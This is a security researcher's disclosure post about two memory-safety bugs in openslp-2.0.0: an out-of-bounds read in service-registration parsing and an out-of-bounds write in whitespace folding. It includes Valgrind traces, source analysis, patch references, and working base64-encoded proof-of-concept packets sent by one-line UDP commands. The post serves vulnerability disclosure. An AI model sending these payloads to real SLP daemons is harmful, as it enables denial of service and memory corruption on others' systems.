_ _ / | ___ ___ ___ ___ ___| |___ _ / / | . | . | -_| |_ -| | . | |_|_/ |___| _|___|_|_|___|_| _| |_| |_| 2018-11-07 MORE BUGS IN OPENSLP-2.0.0 ========================== I discovered some bugs in openslp-2.0.0 back in January, 2018. One of them I disclosed in June (dumpco.re/blog/openslp-2.0.0-double-free), and today I'm disclosing two more. BUG 1 ===== This issue is an OOB read that does not crash the application. So in terms of exploitation it is not very interesting. If that's what you're here for then scroll down to bug#2. After the occurence of the bug the application actually detects the error and ignores the malicious packet. Therefore, it could be argued that this is not a bug at all. Nevertheless, here it is: Proof of concept exploit: echo -n "AgMAAAAAAAAAAAAAAAAAAPQAATEAAAAAB2VuAAAAF3M=" | base64 -d > /dev/udp/127.0.0.1/427 Valgrind report: ==27968== Invalid read of size 1 ==27968== at 0x412436: GetUINT16 (slp_message.c:63) ==27968== by 0x4159C7: v2ParseSrvReg (slp_v2message.c:327) ==27968== by 0x4159C7: SLPv2MessageParseBuffer (slp_v2message.c:1005) ==27968== by 0x40BF4A: SLPDProcessMessage (slpd_process.c:1393) ==27968== by 0x407139: IncomingDatagramRead (slpd_incoming.c:95) ==27968== by 0x407139: SLPDIncomingHandler (slpd_incoming.c:420) ==27968== by 0x40256B: main (slpd_main.c:699) ==27968== Address 0x5b5c3f1 is 0 bytes after a block of size 81 alloc'd ==27968== at 0x4C28C20: malloc (vg_replace_malloc.c:296) ==27968== by 0x40FC1C: SLPBufferAlloc (slp_buffer.c:67) ==27968== by 0x40FCBA: SLPBufferDup (slp_buffer.c:139) ==27968== by 0x40BF7F: SLPDProcessMessage (slpd_process.c:1383) ==27968== by 0x407139: IncomingDatagramRead (slpd_incoming.c:95) ==27968== by 0x407139: SLPDIncomingHandler (slpd_incoming.c:420) ==27968== by 0x40256B: main (slpd_main.c:699) Analysis: v2ParseSrvReg is responsible for parsing incoming requests. Various bytes are read from the packet and interpreted as integers used as length fields. One of them is the scopelistlen, parsed on line 321, and further used as argument for the amount of bytes to increment the buffer->curpos pointer in the the GetStrPtr function, shown below on line 112. It now points to uninitialized memory. The OOB read occurs in GetUINT16, called on line 327 where the buffer->curpos pointer is dereferenced. Subsequently the comparison on line 329 evaluates to true since the buffer->curpos now points to memory located after the buffer->end pointer. The application therefore stops processing the malicious packet. 291 static int v2ParseSrvReg(SLPBuffer buffer, SLPSrvReg * srvreg) 292 { 293 int result; 294 295 /* 0 1 2 3 296 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 297 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 298 | <URL-Entry> \ 299 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 300 | length of service type string | <service-type> \ 301 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 302 | length of <scope-list> | <scope-list> \ 303 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 304 | length of attr-list string | <attr-list> \ 305 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 306 |# of AttrAuths |(if present) Attribute Authentication Blocks...\ 307 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ */ 308 309 /* Parse the <URL-Entry>. */ 310 result = v2ParseUrlEntry(buffer, &srvreg->urlentry); 311 if (result != 0) 312 return result; 313 314 /* Parse the <service-type> string. */ 315 srvreg->srvtypelen = GetUINT16(&buffer->curpos); 316 srvreg->srvtype = GetStrPtr(&buffer->curpos, srvreg->srvtypelen); 317 if (buffer->curpos > buffer->end) 318 return SLP_ERROR_PARSE_ERROR; 319 320 /* Parse the <scope-list> string. */ 321 srvreg->scopelistlen = GetUINT16(&buffer->curpos); 322 srvreg->scopelist = GetStrPtr(&buffer->curpos, srvreg->scopelistlen); 323 if (buffer->curpos > buffer->end) 324 return SLP_ERROR_PARSE_ERROR; 325 326 /* Parse the <attr-list> string. */ 327 srvreg->attrlistlen = GetUINT16(&buffer->curpos); 328 srvreg->attrlist = GetStrPtr(&buffer->curpos, srvreg->attrlistlen); 329 if (buffer->curpos > buffer->end) 330 return SLP_ERROR_PARSE_ERROR; 54 /** Extract a 16-bit big-endian buffer value into a native 16-bit word. 55 * 56 * @param[in,out] cpp - The address of a pointer from which to extract. 57 * 58 * @return A 16-bit unsigned value in native format; the buffer pointer 59 * is moved ahead by 2 bytes on return. 60 */ 61 uint16_t GetUINT16(uint8_t ** cpp) 62 { 63 uint16_t rv = AS_UINT16(*cpp); 64 *cpp += 2; 65 return rv; 66 } ... 96 /** Extract a string buffer address into a character pointer. 97 * 98 * Note that this routine doesn't actually copy the string. It only casts 99 * the buffer pointer to a character pointer and moves the value at @p cpp 100 * ahead by @p len bytes. 101 * 102 * @param[in,out] cpp - The address of a pointer from which to extract. 103 * @param[in] len - The length of the string to extract. 104 * 105 * @return A pointer to the first character at the address pointed to by 106 * @p cppstring pointer; the buffer pointer is moved ahead by @p len bytes 107 * on return. 108 */ 109 char * GetStrPtr(uint8_t ** cpp, size_t len) 110 { 111 char * sp = (char *)*cpp; 112 *cpp += len; 113 return sp; 114 } Proof of discovery: $ echo -n "AgMAAAAAAAAAAAAAAAAAAPQAATEAAAAAB2VuAAAAF3M=" | base64 -d | sha256sum 0d3f7a6e45a59def9097db4f103f95e4af2560bdb25853f9ee1c2e758c7d4946 - https://twitter.com/magnusstubman/status/953909628622069760 Patch: I'm not aware of any patch, and I'm not sure the maintainers are going to patch it. BUG 2 ===== First and foremost, I'm not claiming credit for this bug since it was apparently discovered by Reno Robert and publicly disclosed on the oss-security mailing list on 2016-09-27 and awarded CVE-2016-7567 the day after. https://www.openwall.com/lists/oss-security/2016/09/27/4 https://www.openwall.com/lists/oss-security/2016/09/28/1 Anyhow, I wasn't aware of the issue and found it by fuzzing, so I reported it to the maintainers who made me aware of the earlier discovery. What puzzled me was that no announcement had been made and the fact that the latest stable version on their website is still vulnerable! I found it 2017-12-06 and reported it 2018-01-18. See further down for proof of discovery. I havn't been able to find any exploit for this bug anywhere. Therefore, I'm today disclosing a proof-of-concept exploit for the bug to increase attention on the issue. Exploit: echo -n "AgkAAA8AAAAAAJuiAAAAAAAAAJtkaXJlYwB/ACssZVJlblxkZQkJCAkJ8wkJCQkJCYAJCQkJCWF0CQlkCQBkLCwsLEUsLCwsLCwsLCwsLCwsLCwsSCwsLCwsLIAsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCysLCwsLCwAAAPoLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCxcZGUJCQgJCfMJCQkJCQkJCQkJCQlhdAkJZAkAZCwsLCwsLCwsLCwsLA==" | base64 -d > /dev/udp/127.0.0.1/427 Valgrind report: ==56913== Invalid write of size 1 ==56913== at 0x4C2D6A3: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:914) ==56913== by 0x40FD0B: SLPFoldWhiteSpace (slp_compare.c:210) ==56913== by 0x4100DC: SLPCompareString (slp_compare.c:374) ==56913== by 0x410331: SLPContainsStringList (slp_compare.c:514) ==56913== by 0x4103C6: SLPIntersectStringList (slp_compare.c:550) ==56913== by 0x40C606: ProcessSrvTypeRqst (slpd_process.c:1220) ==56913== by 0x40C606: SLPDProcessMessage (slpd_process.c:1431) ==56913== by 0x406F69: IncomingDatagramRead (slpd_incoming.c:94) ==56913== by 0x406F69: SLPDIncomingHandler (slpd_incoming.c:406) ==56913== by 0x402383: main (slpd_main.c:699) ==56913== Address 0x5b5dd06 is 0 bytes after a block of size 6 alloc'd ==56913== at 0x4C28C20: malloc (vg_replace_malloc.c:296) ==56913== by 0x415C51: _xmemdup (slp_xmalloc.c:356) ==56913== by 0x410096: SLPCompareString (slp_compare.c:365) ==56913== by 0x410331: SLPContainsStringList (slp_compare.c:514) ==56913== by 0x4103C6: SLPIntersectStringList (slp_compare.c:550) ==56913== by 0x40C606: ProcessSrvTypeRqst (slpd_process.c:1220) ==56913== by 0x40C606: SLPDProcessMessage (slpd_process.c:1431) ==56913== by 0x406F69: IncomingDatagramRead (slpd_incoming.c:94) ==56913== by 0x406F69: SLPDIncomingHandler (slpd_incoming.c:406) ==56913== by 0x402383: main (slpd_main.c:699) The while loop on line 207 fails to perform bounds checking, and as such may end up incrementing the pointer p up to a point such that p is bigger than ep. Thus, the third argument to memmove on line 2010 becomes negative. However, since memmove accepts a size_t (which is unsigned) the value wraps around and becomes UINT_MAX or close to UINT_MAX resulting in memmove attempting to move an excessive amount of memory, resulting in OOB write. 184 /** fold internal white space within a string. 185 * 186 * folds all internal white space to a single space character within a 187 * specified string. modified the @p str parameter with the result and 188 * returns the new length of the string. 189 * 190 * @param[in] len - the length in bytes of @p str. 191 * @param[in,out] str - the string from which extraneous white space 192 * should be removed. 193 * 194 * @return the new (shorter) length of @p str. 195 * 196 * @note this routine assumes that leading and trailing white space have 197 * already been removed from @p str. 198 */ 199 static int slpfoldwhitespace(size_t len, char * str) 200 { 201 char * p = str, * ep = str + len; 202 while (p < ep) 203 { 204 if (isspace(*p)) 205 { 206 char * ws2p = ++p; /* point ws2p to the second ws char. */ 207 while (isspace(*p)) /* scan till we hit a non-ws char. */ 208 p++; 209 len -= p - ws2p; /* reduce the length by extra ws. */ 210 memmove(ws2p, p, ep - p); /* overwrite the extra white space. */ 211 } 212 p++; 213 } 214 return (int)len; 215 } Proof of discovery: $ echo -n "AgkAAA8AAAAAAJuiAAAAAAAAAJtkaXJlYwB/ACssZVJlblxkZQkJCAkJ8wkJCQkJCYAJCQkJCWF0CQlkCQBkLCwsLEUsLCwsLCwsLCwsLCwsLCwsSCwsLCwsLIAsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCysLCwsLCwAAAPoLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCxcZGUJCQgJCfMJCQkJCQkJCQkJCQlhdAkJZAkAZCwsLCwsLCwsLCwsLA==" | base64 -d | sha256sum 5bba9f9410bd4dffa4dc119477153002002db3fdd26a97080e43bfd95aeadb24 - https://twitter.com/magnusstubman/status/938317849474555904 Patch: https://sourceforge.net/p/openslp/mercurial/ci/34fb3aa5e6b4997fa21cb614e480de36da5dbc9a/ REFERENCES ========== - https://sourceforge.net/p/openslp/bugs/161/ - https://sourceforge.net/p/openslp/bugs/160/ - https://twitter.com/magnusstubman/status/938317849474555904 - https://twitter.com/magnusstubman/status/953909628622069760 - https://sourceforge.net/p/openslp/mercurial/ci/34fb3aa5e6b4997fa21cb614e480de36da5dbc9a/ - https://www.openwall.com/lists/oss-security/2016/09/27/4 - https://www.openwall.com/lists/oss-security/2016/09/28/1